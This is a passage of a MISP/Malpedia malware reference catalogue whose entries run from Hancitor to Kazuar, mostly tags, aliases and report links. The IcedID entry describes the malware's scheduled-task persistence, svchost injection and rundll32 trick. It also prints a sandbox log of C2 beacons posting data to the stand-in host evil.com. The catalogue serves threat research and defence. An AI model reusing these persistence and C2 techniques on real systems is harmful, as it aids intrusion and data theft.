https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/
https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/
https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/
https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/
https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html
https://www.zscaler.com/blogs/research/chanitor-downloader-actively-installing-vawtrak

HappyLocker (HiddenTear?)

The tag is: *misp-galaxy:malpedia="HappyLocker (HiddenTear?)"*

HappyLocker (HiddenTear?) is also known as:

Table 1097. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.happy_locker

Harnig

The tag is: *misp-galaxy:malpedia="Harnig"*

Harnig is also known as:

- Piptea

Table 1098. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig
https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html
https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html

Havex RAT

Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.

Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.

Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.

The tag is: *misp-galaxy:malpedia="Havex RAT"*

Havex RAT is also known as:

Havex RAT has relationships with:

- similar: misp-galaxy:tool="Havex RAT" with estimative-language:likelihood-probability="likely"

Table 1099. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat
https://www.f-secure.com/weblog/archives/00002718.html

HawkEye Keylogger

The tag is: *misp-galaxy:malpedia="HawkEye Keylogger"*

HawkEye Keylogger is also known as:

- Predator Pain

HawkEye Keylogger has relationships with:

- similar: misp-galaxy:rat="Predator Pain" with estimative-language:likelihood-probability="likely"

Table 1100. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger
https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/
https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/
http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html
https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/

Helauto

The tag is: *misp-galaxy:malpedia="Helauto"*

Helauto is also known as:

Table 1101. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Helminth

The tag is: *misp-galaxy:malpedia="Helminth"*

Helminth is also known as:

Helminth has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Helminth - S0170" with estimative-language:likelihood-probability="likely"

Table 1102. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html

Heloag

The tag is: *misp-galaxy:malpedia="Heloag"*

Heloag is also known as:

Table 1103. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag
https://securelist.com/heloag-has-rather-no-friends-just-a-master/29693/
https://www.arbornetworks.com/blog/asert/trojan-heloag-downloader-analysis/

Herbst

The tag is: *misp-galaxy:malpedia="Herbst"*

Herbst is also known as:

Herbst has relationships with:

- similar: misp-galaxy:ransomware="Herbst" with estimative-language:likelihood-probability="likely"

Table 1104. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.herbst
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware

Heriplor

The tag is: *misp-galaxy:malpedia="Heriplor"*

Heriplor is also known as:

Table 1105. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

Hermes

The tag is: *misp-galaxy:malpedia="Hermes"*

Hermes is also known as:

Table 1106. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

Hermes Ransomware

The tag is: *misp-galaxy:malpedia="Hermes Ransomware"*

Hermes Ransomware is also known as:

Hermes Ransomware has relationships with:

- similar: misp-galaxy:ransomware="Hermes Ransomware" with estimative-language:likelihood-probability="likely"

Table 1107. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

HerpesBot

The tag is: *misp-galaxy:malpedia="HerpesBot"*

HerpesBot is also known as:

Table 1108. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes

HesperBot

The tag is: *misp-galaxy:malpedia="HesperBot"*

HesperBot is also known as:

Table 1109. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot

HiddenTear

The tag is: *misp-galaxy:malpedia="HiddenTear"*

HiddenTear is also known as:

HiddenTear has relationships with:

- similar: misp-galaxy:ransomware="HiddenTear" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="EDA2" with estimative-language:likelihood-probability="likely"

Table 1110. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear
https://github.com/goliate/hidden-tear
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/hidden-tear-project-forbidden-fruit-is-the-sweetest/
https://twitter.com/struppigel/status/950787783353884672

HideDRV

The tag is: *misp-galaxy:malpedia="HideDRV"*

HideDRV is also known as:

Table 1111. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hidedrv
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf

HiKit

The tag is: *misp-galaxy:malpedia="HiKit"*

HiKit is also known as:

Table 1112. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hikit
https://www.recordedfuture.com/hidden-lynx-analysis/
https://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware

himan

The tag is: *misp-galaxy:malpedia="himan"*

himan is also known as:

Table 1113. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.himan
https://www.checkpoint.com/threatcloud-central/downloads/check-point-himan-malware-analysis.pdf

Hi-Zor RAT

The tag is: *misp-galaxy:malpedia="Hi-Zor RAT"*

Hi-Zor RAT is also known as:

Table 1114. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat

HLUX

The tag is: *misp-galaxy:malpedia="HLUX"*

HLUX is also known as:

Table 1115. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux

homefry

The tag is: *misp-galaxy:malpedia="homefry"*

homefry is also known as:

Table 1116. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

HtBot

The tag is: *misp-galaxy:malpedia="HtBot"*

HtBot is also known as:

Table 1117. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot

htpRAT

The tag is: *misp-galaxy:malpedia="htpRAT"*

htpRAT is also known as:

htpRAT has relationships with:

- similar: misp-galaxy:rat="htpRAT" with estimative-language:likelihood-probability="likely"

Table 1118. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat
https://www.riskiq.com/blog/labs/htprat/

HTran

The tag is: *misp-galaxy:malpedia="HTran"*

HTran is also known as:

- HUC Packet Transmit Tool

HTran has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-tool="HTRAN - S0040" with estimative-language:likelihood-probability="likely"

Table 1119. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.htran
https://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://www.secureworks.com/research/htran

HttpBrowser

The tag is: *misp-galaxy:malpedia="HttpBrowser"*

HttpBrowser is also known as:

Table 1120. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser
https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/

httpdropper

The tag is: *misp-galaxy:malpedia="httpdropper"*

httpdropper is also known as:

- httpdr0pper

Table 1121. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf
https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787

http_troy

The tag is: *misp-galaxy:malpedia="http_troy"*

http_troy is also known as:

Table 1122. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf
http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html

Hworm

The tag is: *misp-galaxy:malpedia="Hworm"*

Hworm is also known as:

- houdini

Hworm has relationships with:

- similar: misp-galaxy:tool="Hworm" with estimative-language:likelihood-probability="likely"

Table 1123. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hworm
http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/?adbsc=social67221546&adbid=790972447373668352&adbpl=tw&adbpr=4487645412

HyperBro

The tag is: *misp-galaxy:malpedia="HyperBro"*

HyperBro is also known as:

Table 1124. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro
https://securelist.com/luckymouse-hits-national-data-center/86083/

IcedID

Analysis Observations:

- It sets up persistence by creating a Scheduled Task with the following characteristics:
- Name: Update
- Trigger: At Log on
- Action: %LocalAppData%\$Example\\waroupada.exe /i
- Conditions: Stop if the computer ceases to be idle.

- The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
- The filename remained static during analysis.
- The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
- If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
- If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
- Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so: rundll32.exe kernel32,Sleep -s
- Setup a local listener to proxy traffic on 127.0.0.1:50000

[Example Log from C2 Network Communication] [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)> [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'. [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2

The tag is: *misp-galaxy:malpedia="IcedID"*

IcedID is also known as:

- BokBot

IcedID has relationships with:

- similar: misp-galaxy:banker="IcedID" with estimative-language:likelihood-probability="likely"

Table 1125. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid
https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites
https://www.fidelissecurity.com/threatgeek/2017/11/tracking-emotet-payload-icedid
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html
http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/
https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/

IcedID Downloader

The tag is: *misp-galaxy:malpedia="IcedID Downloader"*

IcedID Downloader is also known as:

Table 1126. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/

Icefog

The tag is: *misp-galaxy:malpedia="Icefog"*

Icefog is also known as:

Table 1127. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog
http://www.kz-cert.kz/page/502

Ice IX

The tag is: *misp-galaxy:malpedia="Ice IX"*

Ice IX is also known as:

Ice IX has relationships with:

- similar: misp-galaxy:banker="Ice IX" with estimative-language:likelihood-probability="likely"

Table 1128. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix
https://securelist.com/ice-ix-not-cool-at-all/29111/
https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus
https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/

IDKEY

The tag is: *misp-galaxy:malpedia="IDKEY"*

IDKEY is also known as:

Table 1129. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.idkey
https://isc.sans.edu/diary/22766

IISniff

The tag is: *misp-galaxy:malpedia="IISniff"*

IISniff is also known as:

Table 1130. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/

Imecab

The tag is: *misp-galaxy:malpedia="Imecab"*

Imecab is also known as:

Table 1131. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east

Imminent Monitor RAT

The tag is: *misp-galaxy:malpedia="Imminent Monitor RAT"*

Imminent Monitor RAT is also known as:

Table 1132. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat
https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/

Infy

The tag is: *misp-galaxy:malpedia="Infy"*

Infy is also known as:

- Foudre

Table 1133. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.infy
http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/
https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv
https://www.intezer.com/prince-of-persia-the-sands-of-foudre/
https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/

InnaputRAT

InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.

The tag is: *misp-galaxy:malpedia="InnaputRAT"*

InnaputRAT is also known as:

Table 1134. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.innaput_rat
https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/

InvisiMole

The tag is: *misp-galaxy:malpedia="InvisiMole"*

InvisiMole is also known as:

InvisiMole has relationships with:

- similar: misp-galaxy:tool="InvisiMole" with estimative-language:likelihood-probability="likely"

Table 1135. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/

ISFB

2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)

In September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.

The other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.

There is one panel which often was used in combination with ISFB: IAP. The panel's login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.

ISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.

In April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.

See win.gozi for additional historical information.

The tag is: *misp-galaxy:malpedia="ISFB"*

ISFB is also known as:

- Gozi ISFB
- IAP

- Pandemyia

ISFB has relationships with:

- similar: misp-galaxy:banker="Gozi ISFB" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="IAP" with estimative-language:likelihood-probability="likely"

Table 1136. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb
https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html
https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
https://lokalhost.pl/gozi_tree.txt
https://www.youtube.com/watch?v=jlc7Ahp8Iqg
https://isc.sans.edu/forums/diary/Reviewing+the+spam+filters+Malspam+pushing+GoziISFB/23245
https://blog.malwarebytes.com/threat-analysis/2017/04/binary-options-malvertising-campaign-drops-isfb-banking-trojan/
http://blog.talosintelligence.com/2018/03/gozi-isfb-remains-active-in-2018.html
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/
https://journal.cecyf.fr/ojs/index.php/cybin/article/view/15
https://www.rsa.com/de-de/resources/pandemiya-emerges-new-malware-alternative-zeus-based
https://www.cylance.com/en_us/blog/threat-spotlight-ursnif-infostealer-malware.html
https://arielkoren.com/blog/2016/11/01/ursnif-malware-deep-technical-dive/

ISMAgent

The tag is: *misp-galaxy:malpedia="ISMAgent"*

ISMAgent is also known as:

Table 1137. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent
http://www.clearskysec.com/ismagent/

ISMDoor

The tag is: *misp-galaxy:malpedia="ISMDoor"*

ISMDoor is also known as:

Table 1138. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor
https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
http://www.clearskysec.com/greenbug/

iSpy Keylogger

The tag is: *misp-galaxy:malpedia="iSpy Keylogger"*

iSpy Keylogger is also known as:

Table 1139. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ispy_keylogger
https://www.zscaler.com/blogs/research/ispy-keylogger

ISR Stealer

ISR Stealer is a modified version of the Hackhound Stealer. It is written in VB and often comes in a .NET-wrapper. ISR Stealer makes use of two Nirsoft tools: Mail PassView and WebBrowserPassView.

Incredibly, it uses an hard-coded user agent string: HardCore Software For : Public

The tag is: *misp-galaxy:malpedia="ISR Stealer"*

ISR Stealer is also known as:

Table 1140. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isr_stealer
https://securingtomorrow.mcafee.com/mcafee-labs/phishing-attacks-employ-old-effective-password-stealer/

IsSpace

The tag is: *misp-galaxy:malpedia="IsSpace"*

IsSpace is also known as:

IsSpace has relationships with:

- similar: misp-galaxy:tool="IsSpace" with estimative-language:likelihood-probability="likely"

Table 1141. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace
http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/

JackPOS

The tag is: *misp-galaxy:malpedia="JackPOS"*

JackPOS is also known as:

Table 1142. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos
https://www.trustwave.com/Resources/SpiderLabs-Blog/JackPOS-%E2%80%93-The-House-Always-Wins/

Jaff

The tag is: *misp-galaxy:malpedia="Jaff"*

Jaff is also known as:

Jaff has relationships with:

- similar: misp-galaxy:ransomware="Jaff" with estimative-language:likelihood-probability="likely"

Table 1143. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jaff
http://malware-traffic-analysis.net/2017/05/16/index.html
https://www.proofpoint.com/us/threat-insight/post/jaff-new-ransomware-from-actors-behind-distribution-of-dridex-locky-bart
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html

Jager Decryptor

The tag is: *misp-galaxy:malpedia="Jager Decryptor"*

Jager Decryptor is also known as:

Table 1144. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.jager_decryptor

Jaku

The tag is: *misp-galaxy:malpedia="Jaku"*

Jaku is also known as:

- Reconcyc

Table 1145. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jaku
https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146
https://www.forcepoint.com/sites/default/files/resources/files/report_jaku_analysis_of_botnet_campaign_en_0.pdf

Jasus

The tag is: *misp-galaxy:malpedia="Jasus"*

Jasus is also known as:

Table 1146. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Jigsaw

The tag is: *misp-galaxy:malpedia="Jigsaw"*

Jigsaw is also known as:

Jigsaw has relationships with:

- similar: misp-galaxy:ransomware="Jigsaw" with estimative-language:likelihood-probability="likely"

Table 1147. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jigsaw

Jimmy

The tag is: *misp-galaxy:malpedia="Jimmy"*

Jimmy is also known as:

Jimmy has relationships with:

- similar: misp-galaxy:malpedia="Neutrino POS" with estimative-language:likelihood-probability="likely"

Table 1148. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jimmy
https://securelist.com/jimmy-nukebot-from-neutrino-with-love/81667/

Joanap

The tag is: *misp-galaxy:malpedia="Joanap"*

Joanap is also known as:

Table 1149. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.joanap
https://www.us-cert.gov/ncas/alerts/TA18-149A
https://www.us-cert.gov/ncas/analysis-reports/AR18-149A
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/

Joao

The tag is: *misp-galaxy:malpedia="Joao"*

Joao is also known as:

Joao has relationships with:

- similar: misp-galaxy:tool="Joao" with estimative-language:likelihood-probability="likely"

Table 1150. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.joao
https://www.welivesecurity.com/2017/08/22/gamescom-2017-fun-blackhats/

Jolob

The tag is: *misp-galaxy:malpedia="Jolob"*

Jolob is also known as:

Jolob has relationships with:

- similar: misp-galaxy:tool="Jolob" with estimative-language:likelihood-probability="likely"

Table 1151. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jolob
http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html

JQJSNICKER

The tag is: *misp-galaxy:malpedia="JQJSNICKER"*

JQJSNICKER is also known as:

Table 1152. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jqjsnicker
http://marcmaiffret.com/vault7/

JripBot

The tag is: *misp-galaxy:malpedia="JripBot"*

JripBot is also known as:

Table 1153. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot
https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/

KAgent

The tag is: *misp-galaxy:malpedia="KAgent"*

KAgent is also known as:

Table 1154. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Karagany

The tag is: *misp-galaxy:malpedia="Karagany"*

Karagany is also known as:

Table 1155. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

Kardon Loader

According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc.This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.

The tag is: *misp-galaxy:malpedia="Kardon Loader"*

Kardon Loader is also known as:

Table 1156. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader
https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/
https://engineering.salesforce.com/kardon-loader-malware-analysis-adaaaab42bab

Karius

According to checkpoint, Karius is a banking trojan in development, borrowing code from Ramnit, Vawtrack as well as Trickbot, currently implementing webinject attacks only.

It comes with an injector that loads an intermediate "proxy" component, which in turn loads the actual banker component.

Communication with the c2 are in json format and encrypted with RC4 with a hardcoded key.

In the initial version, observed in March 2018, the webinjects were hardcoded in the binary, while in subsequent versions, they were received by the c2.

The tag is: *misp-galaxy:malpedia="Karius"*

Karius is also known as:

Karius has relationships with:

- similar: misp-galaxy:banker="Karius" with estimative-language:likelihood-probability="likely"

Table 1157. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.karius
https://dissectmalware.wordpress.com/2018/03/28/multi-stage-powershell-script/
https://research.checkpoint.com/banking-trojans-development/

KasperAgent

The tag is: *misp-galaxy:malpedia="KasperAgent"*

KasperAgent is also known as:

Table 1158. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent
http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/
https://www.threatconnect.com/blog/kasperagent-malware-campaign/

Kazuar

The tag is: *misp-galaxy:malpedia="Kazuar"*

Kazuar is also known as:

Kazuar has relationships with:

- similar: misp-galaxy:tool="Kazuar" with estimative-language:likelihood-probability="likely"

Table 1159. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar
